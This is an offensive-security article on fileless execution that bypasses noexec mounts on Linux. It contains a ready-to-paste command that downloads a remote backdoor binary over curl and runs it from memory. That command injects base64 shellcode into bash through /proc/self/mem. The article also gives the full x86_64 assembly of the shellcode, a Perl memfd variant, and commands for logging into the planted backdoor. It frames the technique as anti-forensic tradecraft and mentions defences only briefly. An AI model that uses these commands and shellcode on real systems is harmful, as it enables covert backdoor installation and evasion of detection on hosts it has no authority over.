Bypassing noexec and executing arbitrary binaries

TL;DR: Execute a binary on a Linux system when execution is not allowed (e.g. restricted PHP environment, read-only filesystem or noexec mount flag). By using only Bash and making syscall(2)’s from Bash (!) and piping the ELF binary straight from the Internet into Bash’s address space - without touching the harddrive and without ptrace() or mmap()….
The source: https://github.com/hackerschoice/memexec
Fileless execution is the process of running an executable without it touching the file system. The idea itself is not new and has been the subject of various research in the past [2].
Most (all?) past tricks call mmap(2) or require ptrace(2) - and thus fail if the noexec mount flag is used or ptrace is prohibited.
While acknowledging that we stand on the shoulders of giants in this matter, we bring you a quick and reliable fileless execution trick where the only requirements are bash and a few core utils (cat, cut, base64 and dd).
Bash only acts as an incubator for our shellcode + backdoor (think Aliens). We also present the same functionality using Perl or PHP (which do not rely on cat, cut, base64 or dd). Additionally, the Perl-variant does not need access to /proc/self/mem and thus works as well inside containers). The PHP-variant is an excellent fit for all those web-cloud providers where there is no Shell access and no execution right.
Now why would you ever need fileless execution ?
You don’t have permission to write to any location on the host.
You have permission to write to a location, but can't execute anything and userland-execution (ulexec or ld-linux.so) fail. (noexec).
Favourite tmpfs locations like /dev/shm have been marked as noexec.
It's generally considered a good OpSec / anti forensic practice since your binaries wont survive a reboot [3].
The execution trick uses two separate techniques discovered by the community.
Creating a memory backed file descriptor: memfd_create(2) syscall is used to create a file descriptor which refers to a file that entirely lives in the RAM and does not depend on a persistent storage[4], This can be used to (temporarily) store a file that we wish to execute.
Modifying process image by writing to /proc/self/mem:
/proc/self/memprovides a simple file interface to the process memory, we can leverage this to write arbitrary shellcode to process memory, to actually have the shellcode executed we can pick a memory location held by the Instruction Pointer, so that when the CPU resumes execution of the process our shellcode is executed.
Cut & Paste this into the target’s shell (be warned, anyone reading this article knows the SecretChangeMe to log into your system. CHANGE IT.):
curl -fsSL https://thc.org/gs-demo.x86 \
| GS_SECRET=SecretChangeMe bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SIngTTHSSIM4AHUQSIN4CCF1CUiD6AhJicLrD0iDwAjr5EyJ0E0x200x5EiDOAB1CUiDwAhJicTrBkiD6Ajr60iJ5UiB7BIEAABIuGtlcm5lbAAAagBQuD8BAABIiedIMfYPBUmJwLgAAAAAvwAAAABIiea6AAQAAA8FSInCSIP6AH4PuAEAAABMicdIieYPBevUuEIBAABMicdqAEiJ5moAVEiJ4kgxyU0xyU2J4kG4ABAAAA8FuDwAAAC/YwAAAA8FAAAAAAA=|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4'
# Then log in to your backdoored system with:
# S=SecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"
# or: gs-netcat -i -s SecretChangeMe
Now lets take a look at the trick itself and break it down piece by piece:
A binary/backdoor is obtained from a external source and piped into bash's stdin.
A Bash process is started. The command line
-ccontains 3 commands, separated by;and executed in sequence by Bash:Bash changes to
/proc/$$(same as/proc/selfbut shorter).A file descriptor (4) is created.
The last command contains the sub-command
$(cat syscall| cut -f9 -d” “), which Bash needs to execute before calling dd or base64. Bash executes this sub-command by forking and waiting in wait(2)-syscall for the forked child to complete. While waiting, the Instruction Pointer of the parent Bash is available through/proc/$$/syscall- it’s the address of the wait(2)-syscall-stub somewhere inside the libc.The forked child outputs this Instruction Pointer. Later,
ddwill use this address as its command-line-option to overwrite the wait()-syscall-stub (e.g. the .text segment somewhere inside the libc).A base64 encoded shellcode is decoded and piped to dd.
dd then seeks to the memory location from step 4, and then copies the shellcode from stdin to the process’s memory (using the opened file descriptor from step 2).
Bash waits again in the same wait(2)-syscall for base64 and dd to finish executing. This is important.
Little does Bash know that while waiting, its own .text segment has been overwritten with our shellcode - at the location where Bash is waiting.
3. Once the shellcode is written to process memory and the last program executed by bash (i.e dd) exits, control is returned back to bash. Execution resumes from the memory location held in the Instruction Pointer, except we have overwritten that location with our shellcode. It is our shellcode that is being executed now.
4. Now lets take at the shellcode itself and how it executes our binary:
section .text
global _start
_start:
; create a buffer
mov rbp, rsp
sub rsp, 1042
; create a memory fd
mov rax, 0x6c656e72656b ; kernel
push 0
push rax
mov rax, 319 ; memfd_create
mov rdi, rsp ; name - kernel
xor rsi, rsi ; no MFD_CLOEXEC
syscall
mov r8, rdx ; save memfd number
loop:
mov rax, 0 ; read
mov rdi, 0 ; stdin
mov rsi, rsp ; pointer to buffer
mov rdx, 1024 ; number of bytes to read at time
syscall
mov rdx, rax ; store no of bytes read in rdx
; check if we reached the end of the file
cmp rdx, 0
jle exit ; if bytes read is 0, close the file
; write data to mem_fd
mov rax, 1
mov rdi, r8 ; mem_fd number
mov rsi, rsp ; buffer
;rdx already has the amount of bytes previously read
syscall
jmp loop
exit:
; execveat the program in memfd
mov rax, 322 ; execveat
mov rdi, r8 ; memfd
push 0
mov rsi, rsp ; path (empty string)
push 0
push rsp
mov rdx, rsp ; ARGV (pointer to a array containing a pointer to a empty string)
mov r8, 4096 ; AT_EMPTY_PATH
syscall
; Exit the program
mov rax, 60 ; sys_exit
mov rdi, 99 ; exit code 99
syscall
A memory backed fd is created using memfd_create syscall.
Within the loop, contents of the binary are copied from stdin to the memory backed fd (remember - we passed the binary to bash via stdin).
Once the binary is fully copied to the memory fd, execveat[6] is used to run the binary stored in the memory fd.
Perl & PHP variants:
Perl has native syscall support: We do not need shellcode. There is no need to overwrite any running process memory. No need to access /proc/self/mem and works when ptrace is not available:
perl '-efor(319,279){($f=syscall$_,$",1)>0&&last}; \
open($o,">&=".$f); \
print$o(<STDIN>); \
exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@"
# Test: cat /usr/bin/uname | per '....' -a
PHP does not allow forking. Thus we use PHP’s fgets() to read /proc/$$/syscall and overwrite the .text segment after libc’s fgets-stub. We later need to call fgets() again to trigger our shellcode on return from the read(2)-syscall (libc’s fgets() calls read(2)-syscall).
Further work on the shellcode:
Our version of the shellcode works only on x86_64 machines, there are a lot more architectures out there, we believe x86 and arm version could come in handy. we leave this as an exercise to the community. (If you end up making a version for any of the other architectures, please submit a PR here.
Cases in which the trick might not work:
When access to /proc/self/mem is restricted then only the Perl variant will work (e.g. inside containers)
When SELinux or GRSecurity is present, which could possibly restrict access to memfd_create [5].
Prevention:
The trick (with slight modifications) works if only ONE of either ptrace(), mmap() or memfd_create() is available [disabling ptrace will also -EPERM /proc/self/mem]. Likely there are many more tricks to do the same…ask your friendly Blue Team to figure it out. Good luck.
Notes and References:
It does call mmap() but not to a location on any nonexec-mount point (which would fail) but on the memory-FD only. So we are ok.
Fileless execution by https://tmpout.sh/3/10.html, grugq (2004) - https://seclists.org/bugtraq/2004/Jan/2, https://phrack.org/issues/62/8.html#article
Well, one could still obtain snapshots of the memory.
The documentation remains silent if memfd pages can be swapped to disk.
There are reason why SELinux and GRSecurity might not want to restrict memfd usage, see : https://www.rapid7.com/blog/post/2019/12/24/memory-laundering-is-cleaner-better/.
execve could be used instead of execveat, but it would require the exact path of memory fd (ex: /proc/self/fd/4) handling strings is a mess in assembly, @skyper instead suggested the execveat trick, which can directly accept the created fd number.
We found the /proc/self/mem trick here: https://x.com/David3141593/status/1386678449604108289
The wait*() system call suspends execution of the calling thread until one of its children terminates.* (from the man pages).



